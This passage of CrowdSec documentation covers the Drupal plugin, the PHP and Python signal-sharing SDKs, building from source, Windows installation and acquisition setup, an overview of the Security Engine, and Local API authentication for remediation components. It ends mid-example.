/usr/local/etc/rc.conf.d/crowdsec* # rm -rf /var/db/crowdsec /var/log/crowdsec* /var/run/crowdsec* ``` For testing purposes, you may want to remove the \ section from `/conf/config.xml` as well. --- # Drupal Plugin The CrowdSec Drupal plugin provides real-time protection against malicious actors by integrating your Drupal site with the CrowdSec security network. ## Overview[โ€‹](#overview "Direct link to Overview") The Drupal plugin leverages the [PHP Soft Agent](https://docs.crowdsec.net/docs/next/getting_started/install_php_softagent.md) to connect your site to CrowdSec's collaborative security ecosystem. This integration allows your Drupal site to: * **Detect threats**: Automatically identify brute force attacks and scanning attempts * **Share intelligence**: Contribute attack data to the global CrowdSec network * **Receive protection**: Get real-time updates on known malicious IP addresses * **Block attackers**: Automatically prevent access from validated threats ## How It Works[โ€‹](#how-it-works "Direct link to How It Works") The plugin monitors your Drupal site for suspicious activities, particularly: * **Brute force attacks** on login forms * **Scanning attempts** targeting vulnerabilities * **Suspicious traffic patterns** When threats are detected, the plugin signals the CrowdSec network. In return, your site receives continuously updated lists of malicious IPs identified by the global community, providing proactive protection against known attackers. ## Installation & Configuration[โ€‹](#installation--configuration "Direct link to Installation & Configuration") The plugin works out-of-the-box with minimal configuration thanks to the Drupal Plugin architecture. For complete installation instructions, configuration options, and troubleshooting guidance, visit the [official Drupal plugin documentation](https://www.drupal.org/project/crowdsec). --- # Using our PHP SDK With the help of our SDK, If you are developing security software that detects misbehaviors and does remediation on IPs, you can send signals about your detections and benefit from the community blocklist. Our SDK do the heavy lifting of the CAPI connectivity so you can simply, sendSignals, getDecisions and getRemediationForIp, as well as enrolling your soft-agent into the console ![Possible integration](/assets/images/php-libs-crowdsec-overview-c1b9971f4a2debc0a0a5c4dc090332d6.jpg) ## PHP CAPI client + Remediation Engine[โ€‹](#php-capi-client--remediation-engine "Direct link to PHP CAPI client + Remediation Engine") The [php-capi-client](https://github.com/crowdsecurity/php-capi-client) will deal automatically with connecting to CAPI and renewing the token when necessary.
Provides the following public functions: * pushSignals(array $signals) * getStreamDecisions() * enroll(...) The [php-remediation-engine](https://github.com/crowdsecurity/php-remediation-engine) is built on top of the php-capi-client and provides decisions caching and querying utility.
This way you can let it worry about the blocklist update and expiration of decisions.
It provides the following public functions: * getIpRemediation(string $ip) * Returns the recommended remediation for an IP * refreshDecisions() * Called periodically by a cron for example * Read the [good practices](#good-practices) to know more about the frequency of refreshing You can refer to the very detailed Developer and Installation guides linked in the repository to know more about it. ## Good practices[โ€‹](#good-practices "Direct link to Good practices") ### php-capi-client[โ€‹](#php-capi-client "Direct link to php-capi-client") Via the php-capi-client your soft-agent is identified by CAPI via a randomly generated **machineId** and **password**.
The **machineId** is what links your endpoint to your console account when you enroll. The rules are : * The \[**machineId-password**] couple **MUST NOT** change after having been validated by CAPI. * Do not copy them for your other endpoints: the **machineId** must be unique for your endpoint * You can configure a **prefix** for the **machineId** if you need to. Once set, avoid changing the **machine\_id\_prefix** as it will result in resetting the credentials ### php-remediation-engine[โ€‹](#php-remediation-engine "Direct link to php-remediation-engine") You will call the decisions-list/blocklist refresh via cron or schedulers. * Call the decisions-refresh **no more** than once every 2 hours. * The blocklist is not likely to have drastically changed in 2 hours * Although too often is not good we still recommend refreshing once a day ### Your signals[โ€‹](#your-signals "Direct link to Your signals") When you remediate locally a misbehavior, you would generate a signal for the corresponding scenario **There are 2 types of signals**: * decisions: when your security module triggers remediation on an IP (block or captcha) for some misbehaviors (brute force, spam, trying to access a file known for ) * whispers: behaviors that can seem trivial and may occur only once on your site but might result in identifying a malicious actor if he does the same action on hundreds of sites **Examples of decision signals:** * brute force on login-form * contact form spam (either by repetition or if you have a way to identify spam content of the sent message like commercial links, known scams ...) * trying to access a file known for a vulnerability (may it be on your type of system or another) * credit card stuffing ... **Example of Whisper signals** * 404 Please get in touch with us to validate When sending signals the name of your scenario must follow this convention **^\[a-z0-9\_-]+/\[a-z0-9\_-]+$** example **mysecmodule/login-bruteforce** For categories of behaviors, you can refer to our behaviors list in the [taxonomy](https://doc.crowdsec.net/docs/next/u/cti_api/taxonomy/#behaviors) (!) **Avoid spamming CAPI with signals:** Ideally, save them to a buffer and send the buffer periodically * Frequency of emission: between 10 seconds and 10 minutes depending on how big the buffer gets in that period * However, don't send more than 250 signals in a single call ### User-agent[โ€‹](#user-agent "Direct link to User-agent") Via the configuration or the php-capi-client you can set a user-agent. This user agent will be set for queries towards CAPI and allow us to do a finer analysis of the signals sent by your security solution. See the [User Guide](https://github.com/crowdsecurity/php-capi-client/blob/main/docs/USER_GUIDE.md#user-agent-suffix) for more info --- # Using our Python SDK This python SDK is designed for signal sharing partners to send signals and benefit from the community blocklist. Our SDK does the heavy lifting of the CAPI connectivity so you can simply, sendSignals and getDecisions, as well as enroll your soft-agent into the console. # Installation Make sure you have **Python 3.9+** installed. ## From source[โ€‹](#from-source "Direct link to From source") SHCOPY ``` pip install git+https://github.com/crowdsecurity/python-capi-sdk ``` # Usage Guide Here is a quick example of how to use the SDK to send signals to the API. PYCOPY ``` from cscapi.client import CAPIClient, CAPIClientConfig from cscapi.sql_storage import SQLStorage from cscapi.utils import create_signal, generate_machine_id_from_key config = CAPIClientConfig( scenarios=["crowdsecurity/ssh-bf", "acme/http-bf"], # Scenarios you're sending signals for user_agent_prefix="mycompany" # Prefix for the user agent used to make calls to CrowdSec API ) client = CAPIClient( storage=SQLStorage(connection_string="sqlite:///cscapi.db"), config=config ) # Fetch signals from your data, and convert it into format accepted by CrowdSec signals = [ create_signal( attacker_ip="", # Replace this with value from your signals scenario="crowdsecurity/ssh-bf", created_at="2023-11-17 10:20:46 +0000", machine_id=generate_machine_id_from_key(key="", prefix="mycompany"), # set value of key to something that's unique to a machine from which this signal has originated from. Eg IP ) ] # This stores the signals in the database client.add_signals(signals) # This sends all the unsent signals to the API. # You need to chron this call to send signals periodically. client.send_signals() # This enrolls the specified machines in the CrowdSec Console. # This is a one time operation for each machine id you want to enroll. client.enroll_machines( machine_ids=[generate_machine_id_from_key("", prefix="mycompany")], attachment_key="ckqlyuz9700000vji4xxxxxxz" name="mymachine", tags=["ssh-honeypot"] ) # This fetches decisions for the specified machine id and ip. # This machine id must be validated by CrowdSec Team. decisions = client.get_decisions( main_machine_id = "validated_machine_id", ) ``` To obtain attachment key for enrolling a machine see [this doc](https://docs.crowdsec.net/u/getting_started/post_installation/console.md#engines-page) See reference section for more details. ## Good practices[โ€‹](#good-practices "Direct link to Good practices") * Don't call `send_signals` too often. Once every 5-20 minutes is a good frequency. * Call `enroll_machines` only once for each machine you want to enroll. * Call `get_decisions` 0.5-4 hours # Reference #### `cscapi.client.CAPIClientConfig`[โ€‹](#cscapiclientcapiclientconfig "Direct link to cscapiclientcapiclientconfig") PYCOPY ``` cscapi.client.CAPIClientConfig( scenarios: List[str], max_retries: int = 3, latency_offset: int = 10, user_agent_prefix: str = "", retry_delay: int = 5) ``` This class contains configuration for the client. Constructor Parameters: * `scenarios`: A list of scenarios that you want to send signals for. * `max_retries`: Maximum number of retries to make when sending signals to the API. * `latency_offset`: Offset to calculate machin login expiration. * `user_agent_prefix`: Prefix for the user agent used to make calls to CrowdSec API. * `retry_delay`: Delay between retries when sending signals to the API #### `cscapi.client.CAPIClient(storage: StorageInterface, config: CAPIClientConfig)`[โ€‹](#cscapiclientcapiclientstorage-storageinterface-config-capiclientconfig "Direct link to cscapiclientcapiclientstorage-storageinterface-config-capiclientconfig") This is the main class that you will use to interact with the CrowdSec API. Contructor Parameters: * `storage`: An instance of a class that implements `StorageInterface`. This is used to store signals that are sent to the API. * `config`: An instance of `CAPIClientConfig` that contains configuration for the client. #### `CAPIClient.add_signals(self, signals: List[SignalModel])`[โ€‹](#capiclientadd_signalsself-signals-listsignalmodel "Direct link to capiclientadd_signalsself-signals-listsignalmodel") This method takes a list of `SignalModel` instances and stores them using the provided storage interface. #### `CAPIClient.send_signals(self, prune_after_send: bool = True)`[โ€‹](#capiclientsend_signalsself-prune_after_send-bool--true "Direct link to capiclientsend_signalsself-prune_after_send-bool--true") This method sends all unsent signals to CrowdSec. If `prune_after_send` is set to `True` (which is the default), signals are removed from the storage after they are sent. #### `CAPIClient.enroll_machines(self, machine_ids: List[str], name: str, attachment_key: str, tags: List[str])`[โ€‹](#capiclientenroll_machinesself-machine_ids-liststr-name-str-attachment_key-str-tags-liststr "Direct link to capiclientenroll_machinesself-machine_ids-liststr-name-str-attachment_key-str-tags-liststr") This method enrolls the specified machines in the CrowdSec Console. This is a one time operation for each machine id you want to enroll. #### `CAPIClient.get_decisions(self, machine_id: str, ip: str)`[โ€‹](#capiclientget_decisionsself-machine_id-str-ip-str "Direct link to capiclientget_decisionsself-machine_id-str-ip-str") This method fetches decisions for the specified machine id and ip. This machine id must be validated by CrowdSec Team. ## `cscapi.utils`[โ€‹](#cscapiutils "Direct link to cscapiutils") This module contains utility functions that you can use to create signals and generate machine ids. #### `cscapi.utils.create_signal(attacker_ip: str, scenario: str, created_at: str, machine_id: str, **kwargs)`[โ€‹](#cscapiutilscreate_signalattacker_ip-str-scenario-str-created_at-str-machine_id-str-kwargs "Direct link to cscapiutilscreate_signalattacker_ip-str-scenario-str-created_at-str-machine_id-str-kwargs") This method creates a `cscapi.storage.SignalModel` instance from the provided parameters. #### `cscapi.utils.generate_machine_id_from_key(key: str, prefix: str)`[โ€‹](#cscapiutilsgenerate_machine_id_from_keykey-str-prefix-str "Direct link to cscapiutilsgenerate_machine_id_from_keykey-str-prefix-str") This method generates a machine id from the provided key and prefix. Generated machine is is always same for a given key and prefix. #### `cscapi.storage.SQLStorage`[โ€‹](#cscapistoragesqlstorage "Direct link to cscapistoragesqlstorage") This class implements `cscapi.storage.StorageInterface` and can be used to store signals in a SQL database. Constructor Parameters: * `connection_string`: Connection string for the SQL database. See [SQLAlchemy documentation](https://docs.sqlalchemy.org/en/14/core/engines.html#database-urls) for more details. #### `cscapi.storage.StorageInterface`[โ€‹](#cscapistoragestorageinterface "Direct link to cscapistoragestorageinterface") This is an interface that you can implement to store signals in your own storage. You can use the provided `SQLStorage` class to store signals in a SQLite database. --- # Compile from source warning This is only for advanced users that wish to compile their own software. If you are not comfortable with this, please use the [official packages](https://docs.crowdsec.net/u/getting_started/intro.md) We define systems by their underlying distribution rather than a fork or modification of a distribution. For example, Ubuntu and Debian are both Debian based distributions, so they will share the same instructions as the term DEB. Centos and Fedora are both Redhat based distributions, so they will share the same instructions as the term RPM. Arch is just Arch, so it will have its own instructions. ## Dependencies[โ€‹](#dependencies "Direct link to Dependencies") ### Required[โ€‹](#required "Direct link to Required") * Golang [Check go.mod file for version needed](https://github.com/crowdsecurity/crowdsec/blob/master/go.mod) * Most of the time your distribution package manager will not have the version (check with your package manager firstly if they do), you will need to install it from the official website. * If your shell is bash and you have sudo access you can use this [install script](https://gist.github.com/LaurenceJJones/aacedfd4438a811780951b2c40431e3a) * Make * DEB * RPM * Arch SHCOPY ``` apt install make ``` SHCOPY ``` dnf install make ``` SHCOPY ``` pacman -S make ``` * GCC * DEB * RPM * Arch SHCOPY ``` apt install gcc ``` SHCOPY ``` dnf install gcc ``` SHCOPY ``` pacman -S gcc ``` * pkg-config * DEB * RPM * Arch SHCOPY ``` apt install pkg-config ``` SHCOPY ``` dnf install pkg-config ``` SHCOPY ``` pacman -S pkg-config ``` ### Optional[โ€‹](#optional "Direct link to Optional") * RE2 * DEB * RPM * Arch SHCOPY ``` apt install libre2-dev g++ ``` SHCOPY ``` dnf install libre2-dev g++ ``` SHCOPY ``` pacman -S re2 base-devel ``` ## Walkthrough[โ€‹](#walkthrough "Direct link to Walkthrough") If you would like to see a walkthrough of compiling CrowdSec from source then you can watch the following video. [YouTube video player](https://www.youtube.com/embed/-1xxkwQyI2M) ### Clone[โ€‹](#clone "Direct link to Clone") SHCOPY ``` git clone https://github.com/crowdsecurity/crowdsec cd crowdsec ``` ### Build[โ€‹](#build "Direct link to Build") SHCOPY ``` make [build_flags] build ``` #### Build flags[โ€‹](#build-flags "Direct link to Build flags") ##### Optional[โ€‹](#optional-1 "Direct link to Optional") * `BUILD_VERSION=v1.2.3` - The version you want to build. This will default to the latest version, however, if you fork the project then you will need to use this flag. info Do not use a version we have already released as you will get old hub parsers. We recommend using the latest tag from the [releases page](https://github.com/crowdsecurity/crowdsec/releases/latest). * `BUILD_STATIC=1` - Build a static binary: * DEB: none * RPM/Arch: * RPM: Enable crb repo * RPM: `sudo yum install glibc-static libstdc++-static` * RPM/Arch: compile RE2 from source [install script](https://gist.github.com/LaurenceJJones/d17f7839b03acbe0e4e879fd60f4b433) as the version provided by package managers does not include the static library. What is a static build? Static builds are builds that do not require any external dependencies to run. This means a compiled binary on your system will work on any other system running your architecture and linux/windows/freebsd. As an example if I compile a static build on my Arch Linux machine, I can copy that binary to a Debian machine and it will work without any issues. * `BUILD_RE2_WASM=1` - Build the RE2 WASM library info By default we try to build with RE2 library from libraries provided by OS (We define it as optional since this build flag overrides it). We recommend that you build with RE2 from libraries as it is faster and more performant than the WASM version. ## Optimal build flags[โ€‹](#optimal-build-flags "Direct link to Optimal build flags") The following build flags are what we recommend you use when building CrowdSec. #### Binary will run on different machine (Built on dev machine then copied to production machine)[โ€‹](#binary-will-run-on-different-machine-built-on-dev-machine-then-copied-to-production-machine "Direct link to Binary will run on different machine (Built on dev machine then copied to production machine)") SHCOPY ``` make BUILD_STATIC=1 release ``` Then you can copy the `crowdsec-release.tgz` file to your production machine and extract it. #### Binary will only run on your machine (Testing new features)[โ€‹](#binary-will-only-run-on-your-machine-testing-new-features "Direct link to Binary will only run on your machine (Testing new features)") SHCOPY ``` make build ``` If you run into any issues when compiling please join our [discord](https://discord.gg/crowdsec) and ask for help. Please provide the output of the build command and the error you are getting. ## Wizard.sh[โ€‹](#wizardsh "Direct link to Wizard.sh") We provide a wizard.sh script that will help you install, update and uninstall CrowdSec. ### Installing[โ€‹](#installing "Direct link to Installing") Once the binaries have been built you can install them using the wizard.sh file in the root of the repo or release folder. This will install the binaries, systemd service files and create the required directories. SHCOPY ``` sudo ./wizard.sh -i ``` If you would like to have a hands off installation then you can provide the `-unattended` flag to the wizard.sh script. ### Updating[โ€‹](#updating "Direct link to Updating") To update CrowdSec you can use the wizard.sh file in the root of the repo or release folder. This will update the binaries, systemd service files and create the required directories. SHCOPY ``` sudo ./wizard.sh --binupgrade ``` If you have compiled CrowdSec with the same build version as the one installed then you can use the `--force` flag to force the update. ### Uninstalling[โ€‹](#uninstalling "Direct link to Uninstalling") To uninstall CrowdSec you can use the wizard.sh file in the root of the repo or release folder. This will remove the binaries, systemd service files and delete the required directories. SHCOPY ``` sudo ./wizard.sh --uninstall ``` --- # Windows ## Security Engine Installation[โ€‹](#security-engine-installation "Direct link to Security Engine Installation") You can download the MSI file from the [latest github release](https://github.com/crowdsecurity/crowdsec/releases/latest). Before installing the package, you might want to check [the ports that the security engine will use](https://docs.crowdsec.net/docs/next/configuration/network_management.md). The MSI file will perform some basic setup: * Installation of the Security Engine * Download of the [windows collection](https://hub.crowdsec.net/author/crowdsecurity/collections/windows). This includes the basic parser for the windows event log, a scenario to detect login brute force and the MMDB files to perform geo-ip enrichment. * Registering your Security Engine with our Central API. * Installation of the Windows Service for Security Engine. The service will start at boot time. Contrary to Linux, the Security Engine does not yet support the automatic configuration at installation time. If you want to be able to detect something other than RDP or SMB bruteforce, then you will need to customize your acquisition configuration. The default configuration will catch brute force attacks against RDP and SMB or any kind of remote authentication that uses Windows authentification. We currently support the following Windows services: * RDP/SMB: Brute force detection * IIS: HTTP attacks * SQL Server: Brute force detection * Windows Firewall: Network scan detection These directories are created: * `C:\Program Files\CrowdSec`: Contains the `crowdsec.exe` and `cscli.exe` executables * `C:\ProgramData\CrowdSec\config`: Contains all the configuration files * `C:\ProgramData\CrowdSec\log`: Contains the various log files of CrowdSec or the bouncers * `C:\ProgramData\Crowdsec\data`: Contains the CrowdSec database (if using sqlite) and the various data files used by the scenarios/parsers * `C:\ProgramData\Crowdsec\hub`: Contains the hub data ### Acquisition Configuration[โ€‹](#acquisition-configuration "Direct link to Acquisition Configuration") #### SQL Server logs[โ€‹](#sql-server-logs "Direct link to SQL Server logs") You will need to install the [`crowdsecurity/mssql`](https://hub.crowdsec.net/author/crowdsecurity/collections/mssql) collection. The collection contains a parser for the SQL server authentication logs and a scenario to detect brute force. To install the collection from an admin powershell prompt run `cscli.exe collections install crowdsecurity/mssql`. You will then need to update the acquisition file located in `C:\ProgramData\CrowdSec\config\acquis.yaml` and add the following: YAMLCOPY ``` --- source: wineventlog event_channel: Application event_ids: - 18456 event_level: information labels: type: eventlog ``` Restart the CrowdSec service (using `net`, `sc` or the services app), and the `Security Engine` will now parse the SQL server authentification logs. info This scenario requires SQL Server to log failed authentication, which is the case by default #### IIS Logs[โ€‹](#iis-logs "Direct link to IIS Logs") You will need to install the [`crowdsecurity/iis`](https://hub.crowdsec.net/author/crowdsecurity/collections/iis) collection. The collection contains a parser for IIS W3C log format (with the default fields) and an another collection containing all the basic HTTP scenarios. To install the collection from an administrator powershell prompt, run `cscli.exe collections install crowdsecurity/iis`. If your IIS setup logs to a file then add the following to your acquisition configuration (`C:\ProgramData\CrowdSec\config\acquis.yaml`): YAMLCOPY ``` --- use_time_machine: true filenames: - C:\\inetpub\\logs\\LogFiles\\*\\*.log labels: type: iis ``` Please note that `use_time_machine` is very important: By default IIS will flush the logs to a file every minute or if there is 64kB of logs to write. This means the `Security Engine` will see a influx of lines at the same time which can lead to false positive. The `use_time_machine` option enforces the use of the timestamp present in the line instead of the date of acquisition as the date of the event. If your IIS logs to the event logs, add the following to your acquisition configuration: YAMLCOPY ``` --- source: wineventlog event_channel: Microsoft-IIS-Logging/Logs event_ids: - 6200 event_level: information labels: type: iis ``` Restart the CrowdSec service (using `net`, `sc` or the services app) and the `Security Engine` will now parse your IIS access logs. #### Windows Firewall[โ€‹](#windows-firewall "Direct link to Windows Firewall") You will need to install the [`crowdsecurity/windows-firewall`](https://hub.crowdsec.net/author/crowdsecurity/collections/windows-firewall) collection. The collection contains a parser for the windows firewall logs and a scenario to detect port scans. To install the collection from an administrator powershell or DOS prompt run `cscli.exe collections install crowdsecurity/windows-firewall` You will also need to enable the windows firewall logging. The official Microsoft documentation is available [here](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-firewall/configure-the-windows-firewall-log). Update the acquisition configuration in `C:\ProgramData\CrowdSec\config\acquis.yaml` and add the following: YAMLCOPY ``` --- filenames: - C:\\Windows\\System32\\LogFiles\\Firewall\\pfirewall.log labels: type: windows-firewall ``` Restart the CrowdSec service and the `Security Engine` will now parse the firewall logs. info Because the Windows Firewall operates in `stealth mode` by default, not all dropped packets will be logged. Only the one intented for port on which a service listens, which means that CrowdSec won't catch all network scans. Please note that we *DO NOT* recommand disabling stealth mode. #### Other services[โ€‹](#other-services "Direct link to Other services") Almost all service types supported on Linux should also be supported on Windows, as long as the `Security Engine` does not expect logs in the syslog format. ## Windows Firewall Remediation Component Installation[โ€‹](#windows-firewall-remediation-component-installation "Direct link to Windows Firewall Remediation Component Installation") info You may see Remediation Components referred to as "bouncers" in the documentation and/or within cscli commands. Now that you've got the `Security Engine` up and running, it's time to install a Remediation Component to actually block the IP addresses which are attacking your server. We will use the Windows Firewall Component, which manages some windows firewall rules to drop traffic from IP addresses blocked by the engine. You can download either a MSI (containing only the bouncer) or a setup bundle (containing the component and the .NET 6 runtime) from the github releases: warning The Windows Firewall Remediation Component requires the .NET 6 runtime. Install it before running the Component or use our setup bundle to install it with the Component. The runtime can be downloaded from [Microsoft](https://dotnet.microsoft.com/en-us/download/dotnet/6.0/runtime). Choose the "Console App" download. warning If you installed the previous alpha release that was distributed from , you must uninstall the previous version first. When you run the MSI file, the Remediation Component will automatically register itself in the Security Engine and creates the Windows service, that will start the component on boot. The component works by adding a number of rules to the windows firewall (one rule per thousand blocked IPs). Those rules begins with `crowdsec-blocklist` and you should not manually update or delete them. They will be automatically deleted when the component stops, and created at startup. ### Manual configuration[โ€‹](#manual-configuration "Direct link to Manual configuration") If you install the Remediation Component before the Security Engine, you will need to perform some manual steps. First, you will need to create an API key for the Remediation Component. To do so, open an administrator powershell or DOS prompt and run `cscli.exe bouncers add windows-firewall-bouncer`. This will display an API key. Add this key in the Remediation Component configuration file located in `C:\ProgramData\CrowdSec\bouncers\cs-windows-firewall-bouncer\cs-windows-firewall-bouncer.yaml`. When done, you will need to enable the `cs-windows-firewall-bouncer` service and start it. ## Enrolling your instance[โ€‹](#enrolling-your-instance "Direct link to Enrolling your instance") The next step is to enroll your instance with the [CrowdSec Console](https://app.crowdsec.net/security-engines?enroll-engine=true). For the benefits, please visit the [Console section](https://docs.crowdsec.net/u/console/intro.md). --- # introduction to the SDKs CrowdSec offers lightweight SDKs for Python and PHP to help developers seamlessly integrate signal sharing capabilities into their security tools, platforms, or services. By using these SDKs, you can report signals such as suspicious IP activity or confirmed attacks directly to the Central API (CAPI). In return, your users gain access to the CrowdSec Community Blocklist, a curated and constantly updated list of IPs involved in malicious behavior observed across the global CrowdSec network. Why Integrate the SDK: * **Simple Integration**: Add signal sharing with just a few lines of code * **Community-Powered Protection**: Contributions help power our global threat intelligence network * **Mutual Benefit**: Your platform shares valuable intelligence and gains stronger real-time protection in return ## Supported SDKs[โ€‹](#supported-sdks "Direct link to Supported SDKs") * [Python SDK](https://docs.crowdsec.net/docs/next/getting_started/install_pyagent.md) * [PHP SDK](https://docs.crowdsec.net/docs/next/getting_started/install_php_softagent.md) Whether you're building a WAF, SIEM, or a custom security tool, the CrowdSec SDKs make it easy to contribute to and benefit from a collaborative defense network. --- # Security Engine Overview The [CrowdSec Security Engine](https://github.com/crowdsecurity/crowdsec) is an open-source, lightweight security engine that detects and blocks malicious actors. It analyzes logs and HTTP requests using behavior-based patterns called scenarios. CrowdSec is modular: it provides [behavior-based detection](https://app.crowdsec.net/hub/collections), including [AppSec rules](https://app.crowdsec.net/hub/appsec-rules), and optional [Remediation Components](https://app.crowdsec.net/hub/bouncers) that enforce blocks. ![](/img/simplified_SE_overview.svg) ย  ย  CrowdSec is crowdsourced: when you participate, you share the attacks you detect and block. In return, the Security Engine automatically downloads a curated list of validated attackers (the community blocklist), so you can take action sooner against known threats. ## Main Features[โ€‹](#main-features "Direct link to Main Features") In addition to the core "detect and react" mechanism, CrowdSec is committed to several other key aspects: * **Easy Installation**: Get started quickly on all [supported platforms](https://docs.crowdsec.net/u/getting_started/intro.md). * **Simplified Daily Operations**: Manage and maintain your setup from the [CrowdSec Console](http://app.crowdsec.net) (Web UI) or with the [cscli command-line tool](https://docs.crowdsec.net/docs/next/cscli/.md). * **Reproducibility**: Analyze live logs and [cold logs](https://docs.crowdsec.net/u/user_guides/replay_mode.md) to validate detections, run forensic analysis, or generate reports. * **Versatile**: Protect your perimeter by analyzing [system logs](https://docs.crowdsec.net/docs/next/log_processor/data_sources/intro.md) and [HTTP requests](https://docs.crowdsec.net/docs/next/appsec/intro.md). * **Observability**: Providing valuable insights into the system's activity: * View and manage alerts in the [Console](https://app.crowdsec.net/signup). * Expose detailed [Prometheus metrics](https://docs.crowdsec.net/docs/next/observability/prometheus.md). * Use the [cscli CLI](https://docs.crowdsec.net/docs/next/observability/cscli.md) for administration. * **API-Centric**: All components communicate via an [HTTP API](https://docs.crowdsec.net/docs/next/local_api/intro.md), facilitating multi-machine setups. ## Architecture[โ€‹](#architecture "Direct link to Architecture") ![](/img/simplified_SE_underthehood.svg) Under the hood, the Security Engine has various components: * The [Log Processor](https://docs.crowdsec.net/docs/next/log_processor/intro.md) handles detection. It analyzes logs from [various data sources](https://docs.crowdsec.net/docs/next/log_processor/data_sources/intro.md) and [HTTP requests](https://docs.crowdsec.net/docs/next/appsec/intro.md) from compatible web servers. * The [Appsec](https://docs.crowdsec.net/docs/next/appsec/intro.md) feature is part of the Log Processor. It filters HTTP requests from compatible web servers. * The [Local API](https://docs.crowdsec.net/docs/next/local_api/intro.md) acts as a middleman: * Between the [Log Processors](https://docs.crowdsec.net/docs/next/log_processor/intro.md) and the [Remediation Components](https://docs.crowdsec.net/u/bouncers/intro.md) which are in charge of enforcing decisions. * And with the [Central API](https://docs.crowdsec.net/docs/next/central_api/intro.md) to share alerts and receive blocklists. * The [Remediation Components](https://docs.crowdsec.net/u/bouncers/intro.md) (also called bouncers) block malicious IPs at your chosen level: IpTables, firewalls, web servers, or reverse proxies. [See the full list on the CrowdSec Hub.](https://app.crowdsec.net/hub/remediation-components) ## Deployment options[โ€‹](#deployment-options "Direct link to Deployment options") This architecture supports simple standalone setups and more distributed deployments: * Single machine: Follow the [getting started guide](https://docs.crowdsec.net/u/getting_started/intro.md). * Multiple machines: Use the [distributed setup guide](https://docs.crowdsec.net/u/user_guides/multiserver_setup.md). * Centralized logs (rsyslog, Loki, ...): [Run CrowdSec next to your log pipeline](https://docs.crowdsec.net/u/user_guides/log_centralization.md), not on production workloads. * Kubernetes: See [our Helm chart](https://docs.crowdsec.net/u/getting_started/installation/kubernetes.md). * Containers: Use the [Docker data source](https://docs.crowdsec.net/docs/next/log_processor/data_sources/docker.md). * WAF only: Start with the [AppSec quickstart](https://docs.crowdsec.net/docs/next/appsec/intro.md). Distributed architecture example: ![](/img/distributed_SE_setup.svg) *** ## More ways to learn [![More ways to learn](/img/academy/crowdsec_fundamentals.svg)](https://academy.crowdsec.net/course/crowdsec-fundamentals?utm_source=docs\&utm_medium=banner\&utm_campaign=intro-page\&utm_id=academydocs) Watch a short series of videos on how to install CrowdSec and protect your infrastructure [**Learn with CrowdSec Academy**](https://academy.crowdsec.net/course/crowdsec-fundamentals?utm_source=docs\&utm_medium=banner\&utm_campaign=intro-page\&utm_id=academydocs) *** --- # Authentication ## Authentication[โ€‹](#authentication "Direct link to Authentication") There are three kinds of authentication to the Local API : 1. API Keys: they are used to authenticate Remediation Components (bouncers) and can only read decisions 2. Login/Password: they are used to authenticate Log Processors (machines) and can read, create and delete decisions 3. TLS client certificates: * they are used to authenticate Remediation Components (bouncers) and Log Processors (machines) * based on the OU field of the certificate, the Local API will determine what permissions the client has as per the restrictions above (log processor or remediation components) * this allows the Local API to authenticate clients without generating the clients before hand if you have a dynamic environment For TLS authentication please see our [dedicated documentation](https://docs.crowdsec.net/docs/next/local_api/tls_auth.md). ### Remediation Components (Bouncers)[โ€‹](#remediation-components-bouncers "Direct link to Remediation Components (Bouncers)") To register a Remediation Component to your API, you need to run the following command on the server where the API is installed: SHCOPY ``` sudo cscli bouncers add testBouncer ``` and keep the generated API token to use it in your Remediation Component configuration file. ### Log Processors (machines)[โ€‹](#log-processors-machines "Direct link to Log Processors (machines)") To allow a log processor to communicate with the Local API, each instance will need it own set of credentials which is validated by an admin of the Local API. There are two ways to register a CrowdSec to a Local API. 1. You can generate credentials directly on the Local API server: SHCOPY ``` sudo cscli machines add testMachine ``` warning if you are running this command on the local API server, most likely it will already have it own credentials file. If you are generating credentials for a remote machine you must pass the `-f` flag to generate the credentials to another file. SHCOPY ``` sudo cscli machines add testMachine -f /path/to/credentials.yaml ``` or SHCOPY ``` sudo cscli machines add testMachine -f- > /path/to/credentials.yaml ``` Upon installation of CrowdSec it will generate it own set of credentials to operate the log processor and local API server. If you are installing these credentials on a remote machine, you must replace the `local_api_credentials.yaml` file within the configuration directory, you can find the location of this directory [here](https://docs.crowdsec.net/u/troubleshooting/security_engine.md#where-is-configuration-stored) based on your operating system. 2. You can use `cscli` to send a registration request to the Local API server: SHCOPY ``` sudo cscli lapi register -u ``` And validate it with `cscli` on the server where the API is installed: SHCOPY ``` sudo cscli machines validate ``` info You can use `cscli machines list` to list all the machines registered to the API and view the ones that are not validated yet. --- # For Remediation Components info This page explains how to interact with the local API exposed by the `Security Engine`. It's meant to be useful for system administrators, or users that want to create their own remediation components. ## Introduction[โ€‹](#introduction "Direct link to Introduction") This documentation only covers the API usage from the remediation component POV : * Authentication via API token (rather than JWT as Security Engine/cscli) * Reading decisions This guide will assume that you already have a `Security Engine` running locally. ## Authentication[โ€‹](#authentication "Direct link to Authentication") info Remediation Components will be referred to as "bouncers" within cscli commands. Existing tokens can be viewed with `cscli bouncers list` : TEXTCOPY ``` # cscli bouncers list ------------------------------------------------------------------------------------------- NAME IP ADDRESS VALID LAST API PULL TYPE VERSION ------------------------------------------------------------------------------------------- cs-firewall-bouncer-hPrueCas โœ”๏ธ 2021-02-25T19:54:46+01:00 ------------------------------------------------------------------------------------------- ``` Let's create a new token with `cscli bouncers add MyTestClient` : TEXTCOPY ``` # cscli bouncers add MyTestClient Api key for 'MyTestClient': 837be58e22a28738066de1be8f53636b Please keep this key since you will not be able to retrieve it! ``` This is the token that we will use to authenticate with the API : SHCOPY ``` โ–ถ curl -H "X-Api-Key: 837be58e22a28738066de1be8f53636b" -I localhost:8080/v1/decisions HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Date: Fri, 26 Feb 2021 12:35:37 GMT ``` Note: if the token is missing or incorrect, you will get a **403** answer. ## API Usage[โ€‹](#api-usage "Direct link to API Usage") As stated in the [swagger documentation](https://crowdsecurity.github.io/api_doc/lapi/), Remediation Components methods are restricted to the `/decisions` path. They allow to query the local decisions in two modes : * stream mode : Intended for bouncers that will - on a regular basis - query the local api for new and expired/decisions * query mode : Intended for bouncers that want to query the local api about a specific ip/range/username etc. ## Query Mode[โ€‹](#query-mode "Direct link to Query Mode") To have some data to query for, let's add two decisions to our local API SHCOPY ``` โ–ถ sudo cscli decisions add -i 192.168.1.1 INFO[0000] Decision successfully added โ–ถ sudo cscli decisions add -r 2.2.3.0/24 INFO[0000] Decision successfully added โ–ถ sudo cscli decisions list +------+--------+------------------+----------------------------------------------------+--------+---------+----+--------+--------------------+----------+ | ID | SOURCE | SCOPE:VALUE | REASON | ACTION | COUNTRY | AS | 